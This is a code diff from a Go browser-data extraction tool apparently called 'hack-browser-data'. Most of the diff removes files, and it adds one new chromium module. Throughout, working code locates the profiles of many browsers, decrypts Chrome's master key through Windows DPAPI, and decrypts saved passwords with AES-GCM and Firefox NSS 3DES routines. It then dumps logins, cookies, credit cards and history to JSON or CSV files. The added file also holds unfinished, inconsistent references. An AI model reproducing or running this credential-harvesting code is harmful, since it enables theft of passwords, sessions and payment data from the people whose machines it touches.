| 			Name:        firefoxName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-beta": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + fireFoxBetaProfilePath, | ||||
| 			Name:        firefoxBetaName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-dev": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath, | ||||
| 			Name:        firefoxDevName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-nightly": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath, | ||||
| 			Name:        firefoxNightlyName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"firefox-esr": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath, | ||||
| 			Name:        firefoxESRName, | ||||
| 			New:         NewFirefox, | ||||
| 		}, | ||||
| 		"chrome": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + chromeKeyPath, | ||||
| 			Name:        chromeName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chrome-beta": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + chromeBetaProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + chromeBetaKeyPath, | ||||
| 			Name:        chromeBetaName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"chromium": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + chromiumProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + chromiumKeyPath, | ||||
| 			Name:        chromiumName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"edge": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + edgeKeyPath, | ||||
| 			Name:        edgeName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"360": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath, | ||||
| 			Name:        speed360Name, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"qq": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath, | ||||
| 			Name:        qqBrowserName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"brave": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + braveKeyPath, | ||||
| 			Name:        braveName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"opera": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + operaProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + operaKeyPath, | ||||
| 			Name:        operaName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"opera-gx": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + operaGXKeyPath, | ||||
| 			Name:        operaGXName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"vivaldi": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + vivaldiKeyPath, | ||||
| 			Name:        vivaldiName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"coccoc": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + coccocProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + coccocKeyPath, | ||||
| 			Name:        coccocName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 		"yandex": { | ||||
| 			ProfilePath: os.Getenv("USERPROFILE") + yandexProfilePath, | ||||
| 			KeyPath:     os.Getenv("USERPROFILE") + yandexKeyPath, | ||||
| 			Name:        yandexName, | ||||
| 			New:         NewChromium, | ||||
| 		}, | ||||
| 	} | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errBase64DecodeFailed = errors.New("decode base64 failed") | ||||
| ) | ||||
| 
 | ||||
| // InitSecretKey with win32 DPAPI
 | ||||
| // conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548
 | ||||
| func (c *Chromium) InitSecretKey() error { | ||||
| 	if c.keyPath == "" { | ||||
| 		return nil | ||||
| 	} | ||||
| 	if _, err := os.Stat(c.keyPath); os.IsNotExist(err) { | ||||
| 		return fmt.Errorf("%s secret key path is empty", c.name) | ||||
| 	} | ||||
| 	keyFile, err := utils.ReadFile(c.keyPath) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") | ||||
| 	if encryptedKey.Exists() { | ||||
| 		pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) | ||||
| 		if err != nil { | ||||
| 			return errBase64DecodeFailed | ||||
| 		} | ||||
| 		c.secretKey, err = decrypt.DPApi(pureKey[5:]) | ||||
| 		return err | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| @ -1,224 +0,0 @@ | ||||
| package data | ||||
| 
 | ||||
| import ( | ||||
| 	"bytes" | ||||
| 	"encoding/json" | ||||
| 	"fmt" | ||||
| 	"os" | ||||
| 	"sort" | ||||
| 
 | ||||
| 	"github.com/jszwec/csvutil" | ||||
| 
 | ||||
| 	"hack-browser-data/internal/utils" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	utf8Bom = []byte{239, 187, 191} | ||||
| ) | ||||
| 
 | ||||
| func (b *bookmarks) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "bookmark", "json") | ||||
| 	sort.Slice(b.bookmarks, func(i, j int) bool { | ||||
| 		return b.bookmarks[i].ID < b.bookmarks[j].ID | ||||
| 	}) | ||||
| 	err := writeToJson(filename, b.bookmarks) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (h *historyData) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "history", "json") | ||||
| 	sort.Slice(h.history, func(i, j int) bool { | ||||
| 		return h.history[i].VisitCount > h.history[j].VisitCount | ||||
| 	}) | ||||
| 	err := writeToJson(filename, h.history) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (d *downloads) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "download", "json") | ||||
| 	err := writeToJson(filename, d.downloads) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (p *passwords) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "password", "json") | ||||
| 	err := writeToJson(filename, p.logins) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *cookies) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "cookie", "json") | ||||
| 	err := writeToJson(filename, c.cookies) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *creditCards) outPutJson(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "credit", "json") | ||||
| 	err := writeToJson(filename, c.cards) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func writeToJson(filename string, data interface{}) error { | ||||
| 	f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer f.Close() | ||||
| 	w := new(bytes.Buffer) | ||||
| 	enc := json.NewEncoder(w) | ||||
| 	enc.SetEscapeHTML(false) | ||||
| 	enc.SetIndent("", "\t") | ||||
| 	err = enc.Encode(data) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	_, err = f.Write(w.Bytes()) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (b *bookmarks) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "bookmark", "csv") | ||||
| 	if err := writeToCsv(filename, b.bookmarks); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (h *historyData) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "history", "csv") | ||||
| 	if err := writeToCsv(filename, h.history); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (d *downloads) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "download", "csv") | ||||
| 	if err := writeToCsv(filename, d.downloads); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (p *passwords) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "password", "csv") | ||||
| 	if err := writeToCsv(filename, p.logins); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *cookies) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "cookie", "csv") | ||||
| 	var tempSlice []cookie | ||||
| 	for _, v := range c.cookies { | ||||
| 		tempSlice = append(tempSlice, v...) | ||||
| 	} | ||||
| 	if err := writeToCsv(filename, tempSlice); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (c *creditCards) outPutCsv(browser, dir string) error { | ||||
| 	filename := utils.FormatFilename(dir, browser, "credit", "csv") | ||||
| 	var tempSlice []card | ||||
| 	for _, v := range c.cards { | ||||
| 		tempSlice = append(tempSlice, v...) | ||||
| 	} | ||||
| 	if err := writeToCsv(filename, tempSlice); err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func writeToCsv(filename string, data interface{}) error { | ||||
| 	var d []byte | ||||
| 	f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	defer f.Close() | ||||
| 	_, err = f.Write(utf8Bom) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	d, err = csvutil.Marshal(data) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	_, err = f.Write(d) | ||||
| 	if err != nil { | ||||
| 		return err | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (b *bookmarks) outPutConsole() { | ||||
| 	for _, v := range b.bookmarks { | ||||
| 		fmt.Printf("%+v\n", v) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (c *cookies) outPutConsole() { | ||||
| 	for host, value := range c.cookies { | ||||
| 		fmt.Printf("%s\n%+v\n", host, value) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (h *historyData) outPutConsole() { | ||||
| 	for _, v := range h.history { | ||||
| 		fmt.Printf("%+v\n", v) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (d *downloads) outPutConsole() { | ||||
| 	for _, v := range d.downloads { | ||||
| 		fmt.Printf("%+v\n", v) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (p *passwords) outPutConsole() { | ||||
| 	for _, v := range p.logins { | ||||
| 		fmt.Printf("%+v\n", v) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (c *creditCards) outPutConsole() { | ||||
| 	for _, v := range c.cards { | ||||
| 		fmt.Printf("%+v\n", v) | ||||
| 	} | ||||
| } | ||||
									
										
											File diff suppressed because it is too large
											Load Diff
										
									
								
							
						| @ -1,214 +0,0 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"crypto/des" | ||||
| 	"crypto/hmac" | ||||
| 	"crypto/sha1" | ||||
| 	"crypto/sha256" | ||||
| 	"encoding/asn1" | ||||
| 	"errors" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") | ||||
| 	errPasswordIsEmpty    = errors.New("password is empty") | ||||
| 	errDecryptFailed      = errors.New("decrypter encrypt value failed") | ||||
| 	errDecodeASN1Failed   = errors.New("decode ASN1 data failed") | ||||
| 	errEncryptedLength    = errors.New("length of encrypted password less than block size") | ||||
| ) | ||||
| 
 | ||||
| type ASN1PBE interface { | ||||
| 	Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) | ||||
| } | ||||
| 
 | ||||
| func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { | ||||
| 	var ( | ||||
| 		n NssPBE | ||||
| 		m MetaPBE | ||||
| 		l LoginPBE | ||||
| 	) | ||||
| 	if _, err := asn1.Unmarshal(b, &n); err == nil { | ||||
| 		return n, nil | ||||
| 	} | ||||
| 	if _, err := asn1.Unmarshal(b, &m); err == nil { | ||||
| 		return m, nil | ||||
| 	} | ||||
| 	if _, err := asn1.Unmarshal(b, &l); err == nil { | ||||
| 		return l, nil | ||||
| 	} | ||||
| 	return nil, errDecodeASN1Failed | ||||
| } | ||||
| 
 | ||||
| // NssPBE Struct
 | ||||
| // SEQUENCE (2 elem)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| // 		OBJECT IDENTIFIER
 | ||||
| // 		SEQUENCE (2 elem)
 | ||||
| // 			OCTET STRING (20 byte)
 | ||||
| // 			INTEGER 1
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| type NssPBE struct { | ||||
| 	NssSequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type NssSequenceA struct { | ||||
| 	DecryptMethod asn1.ObjectIdentifier | ||||
| 	NssSequenceB | ||||
| } | ||||
| 
 | ||||
| type NssSequenceB struct { | ||||
| 	EntrySalt []byte | ||||
| 	Len       int | ||||
| } | ||||
| 
 | ||||
| func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { | ||||
| 	glmp := append(globalSalt, masterPwd...) | ||||
| 	hp := sha1.Sum(glmp) | ||||
| 	s := append(hp[:], n.EntrySalt...) | ||||
| 	chp := sha1.Sum(s) | ||||
| 	pes := paddingZero(n.EntrySalt, 20) | ||||
| 	tk := hmac.New(sha1.New, chp[:]) | ||||
| 	tk.Write(pes) | ||||
| 	pes = append(pes, n.EntrySalt...) | ||||
| 	k1 := hmac.New(sha1.New, chp[:]) | ||||
| 	k1.Write(pes) | ||||
| 	tkPlus := append(tk.Sum(nil), n.EntrySalt...) | ||||
| 	k2 := hmac.New(sha1.New, chp[:]) | ||||
| 	k2.Write(tkPlus) | ||||
| 	k := append(k1.Sum(nil), k2.Sum(nil)...) | ||||
| 	iv := k[len(k)-8:] | ||||
| 	return des3Decrypt(k[:24], iv, n.Encrypted) | ||||
| } | ||||
| 
 | ||||
| // MetaPBE Struct
 | ||||
| // SEQUENCE (2 elem)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| //     	OBJECT IDENTIFIER
 | ||||
| //     	SEQUENCE (2 elem)
 | ||||
| //       	SEQUENCE (2 elem)
 | ||||
| //         	OBJECT IDENTIFIER
 | ||||
| //         	SEQUENCE (4 elem)
 | ||||
| //           	OCTET STRING (32 byte)
 | ||||
| //           		INTEGER 1
 | ||||
| //           		INTEGER 32
 | ||||
| //           		SEQUENCE (1 elem)
 | ||||
| //             	OBJECT IDENTIFIER
 | ||||
| //       	SEQUENCE (2 elem)
 | ||||
| //         	OBJECT IDENTIFIER
 | ||||
| //         	OCTET STRING (14 byte)
 | ||||
| //   	OCTET STRING (16 byte)
 | ||||
| type MetaPBE struct { | ||||
| 	MetaSequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceA struct { | ||||
| 	PKCS5PBES2 asn1.ObjectIdentifier | ||||
| 	MetaSequenceB | ||||
| } | ||||
| type MetaSequenceB struct { | ||||
| 	MetaSequenceC | ||||
| 	MetaSequenceD | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceC struct { | ||||
| 	PKCS5PBKDF2 asn1.ObjectIdentifier | ||||
| 	MetaSequenceE | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceD struct { | ||||
| 	AES256CBC asn1.ObjectIdentifier | ||||
| 	IV        []byte | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceE struct { | ||||
| 	EntrySalt      []byte | ||||
| 	IterationCount int | ||||
| 	KeySize        int | ||||
| 	MetaSequenceF | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceF struct { | ||||
| 	HMACWithSHA256 asn1.ObjectIdentifier | ||||
| } | ||||
| 
 | ||||
| func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) { | ||||
| 	k := sha1.Sum(globalSalt) | ||||
| 	key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New) | ||||
| 	iv := append([]byte{4, 14}, m.IV...) | ||||
| 	return aes128CBCDecrypt(key, iv, m.Encrypted) | ||||
| } | ||||
| 
 | ||||
| // LoginPBE Struct
 | ||||
| // SEQUENCE (3 elem)
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| // 		OBJECT IDENTIFIER
 | ||||
| // 		OCTET STRING (8 byte)
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| type LoginPBE struct { | ||||
| 	CipherText []byte | ||||
| 	LoginSequence | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type LoginSequence struct { | ||||
| 	asn1.ObjectIdentifier | ||||
| 	IV []byte | ||||
| } | ||||
| 
 | ||||
| func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { | ||||
| 	return des3Decrypt(globalSalt, l.IV, l.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	encryptLen := len(encryptPass) | ||||
| 	if encryptLen < block.BlockSize() { | ||||
| 		return nil, errEncryptedLength | ||||
| 	} | ||||
| 
 | ||||
| 	dst := make([]byte, encryptLen) | ||||
| 	mode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	mode.CryptBlocks(dst, encryptPass) | ||||
| 	dst = PKCS5UnPadding(dst) | ||||
| 	return dst, nil | ||||
| } | ||||
| 
 | ||||
| func PKCS5UnPadding(src []byte) []byte { | ||||
| 	length := len(src) | ||||
| 	unpad := int(src[length-1]) | ||||
| 	return src[:(length - unpad)] | ||||
| } | ||||
| 
 | ||||
| // des3Decrypt use for decrypter firefox PBE
 | ||||
| func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { | ||||
| 	block, err := des.NewTripleDESCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	blockMode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	sq := make([]byte, len(src)) | ||||
| 	blockMode.CryptBlocks(sq, src) | ||||
| 	return sq, nil | ||||
| } | ||||
| 
 | ||||
| func paddingZero(s []byte, l int) []byte { | ||||
| 	h := l - len(s) | ||||
| 	if h <= 0 { | ||||
| 		return s | ||||
| 	} else { | ||||
| 		for i := len(s); i < l; i++ { | ||||
| 			s = append(s, 0) | ||||
| 		} | ||||
| 		return s | ||||
| 	} | ||||
| } | ||||
| @ -1,17 +0,0 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(key) == 0 { | ||||
| 			return nil, errSecurityKeyIsEmpty | ||||
| 		} | ||||
| 		var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| 		return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) | ||||
| 	} else { | ||||
| 		return nil, errDecryptFailed | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| @ -1,17 +0,0 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(key) == 0 { | ||||
| 			return nil, errSecurityKeyIsEmpty | ||||
| 		} | ||||
| 		return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) | ||||
| 	} else { | ||||
| 		return nil, errDecryptFailed | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| @ -1,70 +0,0 @@ | ||||
| package decrypt | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"syscall" | ||||
| 	"unsafe" | ||||
| ) | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	if len(encryptPass) > 15 { | ||||
| 		// remove Prefix 'v10'
 | ||||
| 		return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) | ||||
| 	} else { | ||||
| 		return nil, errPasswordIsEmpty | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
 | ||||
| func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	blockMode, err := cipher.NewGCM(block) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	origData, err := blockMode.Open(nil, nounce, crypted, nil) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return origData, nil | ||||
| } | ||||
| 
 | ||||
| type dataBlob struct { | ||||
| 	cbData uint32 | ||||
| 	pbData *byte | ||||
| } | ||||
| 
 | ||||
| func NewBlob(d []byte) *dataBlob { | ||||
| 	if len(d) == 0 { | ||||
| 		return &dataBlob{} | ||||
| 	} | ||||
| 	return &dataBlob{ | ||||
| 		pbData: &d[0], | ||||
| 		cbData: uint32(len(d)), | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (b *dataBlob) ToByteArray() []byte { | ||||
| 	d := make([]byte, b.cbData) | ||||
| 	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) | ||||
| 	return d | ||||
| } | ||||
| 
 | ||||
| // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	dllCrypt := syscall.NewLazyDLL("Crypt32.dll") | ||||
| 	dllKernel := syscall.NewLazyDLL("Kernel32.dll") | ||||
| 	procDecryptData := dllCrypt.NewProc("CryptUnprotectData") | ||||
| 	procLocalFree := dllKernel.NewProc("LocalFree") | ||||
| 	var outBlob dataBlob | ||||
| 	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) | ||||
| 	if r == 0 { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) | ||||
| 	return outBlob.ToByteArray(), nil | ||||
| } | ||||
| @ -0,0 +1,108 @@ | ||||
| package chromium | ||||
| 
 | ||||
| import ( | ||||
| 	"fmt" | ||||
| 	"io/ioutil" | ||||
| 	"os" | ||||
| 	"path" | ||||
| 	"path/filepath" | ||||
| 	"strings" | ||||
| 
 | ||||
| 	"hack-browser-data/internal/browser/data" | ||||
| 	"hack-browser-data/internal/browser/item" | ||||
| ) | ||||
| 
 | ||||
| type chromium struct { | ||||
| 	name        string | ||||
| 	storage     string | ||||
| 	profilePath string | ||||
| 	masterKey   []byte | ||||
| 	items       []item.Item | ||||
| 	itemPaths   map[item.Item]string | ||||
| } | ||||
| 
 | ||||
| // newChromium 根据浏览器信息生成 Browser Interface
 | ||||
| func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) { | ||||
| 	c := &chromium{ | ||||
| 		name:        name, | ||||
| 		storage:     storage, | ||||
| 		profilePath: profilePath, | ||||
| 		items:       items, | ||||
| 	} | ||||
| 	absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) | ||||
| 	// TODO: Handle file path is not exist
 | ||||
| 	if !isFileExist(absProfilePath) { | ||||
| 		return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) | ||||
| 	} | ||||
| 	itemsPaths, err := getChromiumItemPath(absProfilePath, c.items) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	c.itemPaths = itemsPaths | ||||
| 	return c, err | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetName() string { | ||||
| 	return c.name | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) GetBrowsingData() []data.BrowsingData { | ||||
| 	var browsingData []data.BrowsingData | ||||
| 	for item := range c.itemPaths { | ||||
| 		d := item.NewBrowsingData() | ||||
| 		if d != nil { | ||||
| 			browsingData = append(browsingData, d) | ||||
| 		} | ||||
| 	} | ||||
| 	return browsingData | ||||
| } | ||||
| 
 | ||||
| func (c *chromium) CopyItemFileToLocal() error { | ||||
| 	for item, sourcePath := range c.itemPaths { | ||||
| 		var dstFilename = item.FileName() | ||||
| 		locals, _ := filepath.Glob("*") | ||||
| 		for _, v := range locals { | ||||
| 			if v == dstFilename { | ||||
| 				err := os.Remove(dstFilename) | ||||
| 				// TODO: Should Continue all iteration error
 | ||||
| 				if err != nil { | ||||
| 					return err | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 
 | ||||
| 		// TODO: Handle read file error
 | ||||
| 		sourceFile, err := ioutil.ReadFile(sourcePath) | ||||
| 		if err != nil { | ||||
| 			fmt.Println(err.Error()) | ||||
| 		} | ||||
| 		err = ioutil.WriteFile(dstFilename, sourceFile, 0777) | ||||
| 		if err != nil { | ||||
| 			return err | ||||
| 		} | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) { | ||||
| 	var itemPaths = make(map[item.Item]string) | ||||
| 	err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths)) | ||||
| 	return itemPaths, err | ||||
| } | ||||
| 
 | ||||
| func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc { | ||||
| 	return func(path string, info os.FileInfo, err error) error { | ||||
| 		for _, it := range items { | ||||
| 			switch { | ||||
| 			case it.DefaultName() == info.Name(): | ||||
| 				if it == it.chromiumKey { | ||||
| 					itemPaths[it] = path | ||||
| 				} | ||||
| 				if strings.Contains(path, "Default") { | ||||
| 					itemPaths[it] = path | ||||
| 				} | ||||
| 			} | ||||
| 		} | ||||
| 		return err | ||||
| 	} | ||||
| } | ||||
| @ -1,47 +0,0 @@ | ||||
| package consts | ||||
| 
 | ||||
| // item's default filename
 | ||||
| const ( | ||||
| 	ChromiumKey          = "Local State" | ||||
| 	ChromiumCredit       = "Web Data" | ||||
| 	ChromiumPassword     = "Login Data" | ||||
| 	ChromiumHistory      = "History" | ||||
